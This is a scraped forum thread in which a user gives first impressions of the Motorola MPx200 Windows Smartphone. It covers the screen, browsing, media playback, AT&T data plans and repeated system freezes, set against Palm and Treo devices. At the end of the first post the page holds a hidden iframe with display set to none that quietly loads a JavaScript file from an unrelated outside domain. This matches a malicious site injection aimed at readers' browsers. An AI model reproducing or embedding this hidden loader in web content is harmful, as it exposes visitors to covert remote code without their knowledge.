Just picked up the Motorola MPx200 from my local ATT store. It was the only one in the North Houston area that had one. Now, a little background:
I've always been a Palm user. I prefer the Palm OS and though I've tried a few PPC's, I've never really liked them. Somtime ago (about when the first Handspring Treo 180 was announced), I realized that a converged device or smartphone was what really fit my needs and what just made sense to me as a mobile device. Since then, I've tried SEVERAL PPC phones, Palm OS phones, etc. I always ended up going back to a stand alone pda and phone. When the MS Smartphone OS was announced, I took interest because my hope was that the robust but clunky PPC OS had been streamlined for a truly useful OS for a mobile. I also followed closely the new generation of Palm OS and Symbian smartphones. I've been waiting is seems like a hundred years for the Samsung SGH I500, which has now been delayed. Recently, I decided to take a second look at what I really needed in a mobile device. I came to this conclusion: I need my contacts (and the ability to call directly from that list), schedule, email, and web access. These four core apps are what I really need. Additionally, I'd like document viewing and multimedia. I realized also that I don't really care about a touch screen (I know, PDA heresy, but true none the less) and wanted to be able to navigate the system without the use of a stylus (ala Treo 600). So, I decided to include MS smartphones in my consideration of smartphone devices. When I read that the MPx200 was available (while I was still waiting on the GSM Treo 600), I decided to check it out. I'm still charging and only played with it for about 20 minutes, but so far I am VERY impressed. The form factor rocks, the screen is the best I've ever seen on a phone, and to my surprise the navigation was somewhat intuitive. I'll report back when I've had more time with it, but I truly believe that this may be my only device in the near future (which has been my goal for some time- ONE DEVICE). Here are some pics:<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Looks pretty sweet iJITSU! I know you haven't had much time to play with it, but from what you know so far, how is it with handling things like Excel/Word files, multimedia, etc? Do you know what the resolution is? How hard is it to enter in a URL for a website?
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Web browsing is easy and looks great( edit: looks great for a phone, but is kinda slow to respond and navigate). I have no problem with the text imput (got pretty good at the multiple press option). I read that Thunderhawk or something like that is available for the MS smartphone OS and that it's much better than Pocket IE. Haven't had the chance to mess with documents, but it doesn't include Pocket Word or Excel. Not important to me because there is apparently a viewer made by a third party (and I'm more interested in viewing a Word doc or Excel file as it would appear on a desktop without coversion than editing on a mobile. Can't say on mulitmedia because I haven't loaded anything onto it, although the included snippet sounded decent out of the speaker with WMP. I've been playing with the phone to see if there are stalls, etc. Once I get done and if it passes my scrutiny, I'll load the desktop software and sync some stuff over. I'll play some more and if it passes that stage, I'll take it out over the weekend for real world use. If if does well there, I'm keeping it. If it fails at any stage, I'll be going for the Treo 600. Not sure what the screen resolution is, but it looks nice as you can kind of see with the photo of the beautiful girl posted above. I've never seen a better screen on a phone, and I have among others an LG VX6000 with a 262K color screen. So far, I'm impressed with the form factor, screen, and features. Don't know if I'll stick with this or go another route, but this is the nail in the coffin of a separate pda for me. The T3 is going back and I'll find a smartphone that works for me. I truly think it's the future and even if it's not, it is just what I want (as I'm sure most on these sites do too). Hopefully, this or the Treo 600 is going to fit the bill.
Originally posted by iJITSU I've been playing with the phone to see if there are stalls, etc. Once I get done and if it passes my scrutiny, I'll load the desktop software and sync some stuff over. I'll play some more and if it passes that stage, I'll take it out over the weekend for real world use. If if does well there, I'm keeping it. If it fails at any stage, I'll be going for the Treo 600.
Dang... sounds like a little old fashioned pdaphone boot camp!
Quote:
Originally posted by iJITSU Don't know if I'll stick with this or go another route, but this is the nail in the coffin of a separate pda for me.
I think I've heard you say that before
Keep us posted!
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This phone looks great but the data plans of AT&T suck!! What data plan do you have? If those plans were more reasonable, I would consider switching to AT&T>
signed up for national plan, 700 minutes plus 4mb data, I think. Not really important as I won't be keeping the plan with ATT. I have service with Cingular and this model phone will work with them by:
1. Buying an unlocked version when available
2. Getting the unlock code to this phone
I'm just testing out the model and the MS Smartphone OS for the most part. I also have a small plan with Verizon, and I figure that the software/OS is going to be the same on this phone as the Samsung I600 which is due any day now. Once I figure out what type of phone and OS I'm going to use, I'll know better what type of calling data plan I'm going to need/get. The hardware- build quality, screen, form factor, etc- is great. Truly amazing hardware. So far the OS has been fairly stable with the exception of a freeze that required me to take out the battery (not sure how to reset at the moment) to restart the phone. The phone hangs sometimes in Internet Explorer and navigation in IE isn't the greatest. It seems that you get better performance in overall navigation of the phone when you use the back button to back out of applications all the way to the home screen, although you can go directly there from anywhere by hitting the home button (but it's not as responsive that way). This is sort of what I feared: that the phone would behave similar to a Pocket PC. I tolerate Windows on my desktop because there is not much of an alternative (Mac). However, I WILL NOT TOLERATE consistent freezes or stalls on my pda or phone, and I don't have to because there are many alternatives. I'll continue to put the phone through its paces, but if I get another freeze I'll probably ditch this phone and the MS Smartphone OS in general for now. If it does well, I'll give it real consideration. We'll see.
MP3's play great off an SD card, although the maximum volume leaves a little to be desired. Not bad for a phone, though. Apparently you can't play mpegs directly off the SD without sending them through Active Sync. Listening to music and surfing the web at the same time slowed the browsing process to a crawl and made the music skip/become choppy. Again, considering this is more of an advanced phone than a pda with wireless capabilities, I can overlook that. Haven't made a lot of calls, but I've been playing with the PIM functions and surfing the web off and on since I got it several hours ago and I still have three bars of a four bar battery indicator. Not bad. I was able to set up my personal email account fairly easily and send receive to/from a POP3 account with no problem.
As I type I'm staring at a locked phone. Just frozen on a screen. I entered the calendar, then contacts, then a few apps. I then used the back button several times to get back to the home screen. It's now been about 3 minutes and it is still stuck. This is why I don't use PPC and why I feared using a phone with Windows on it. Can't tell you how many times I've turned red in the face waiting for my laptop to "catch up" or how many times I've vented to my wife about how only in the area of desktop/laptop computing will people tolerate a product that has so many flaws or perfoms so poorly. What if this same scenario were true with automobiles. Who would buy an automoblile that worked 80% of the times you used it, but sometimes just stalled or quit working for no apparent reason for 5 or 10 minutes? Nobody because there are better options. You'd buy a reliable automobile from a different company. Well, the empire/monopoly/trust/best and worst of capitalism entity that is Microsoft has ensured that you'll probably still buy their product. Have I vented enough? Alright, back to the phone. About 7 minutes have passed and it's still stuck. Maybe MS Smartphone 2003 is better than 2002, but nevertheless, the phone's probably going back. I'd rather have a dumb phone that is reliable than an advanced phone that turns my face red like my laptop Of course, I'd rather have a reliable smartphone. Guess it's back to waiting for the Treo 600 for me.
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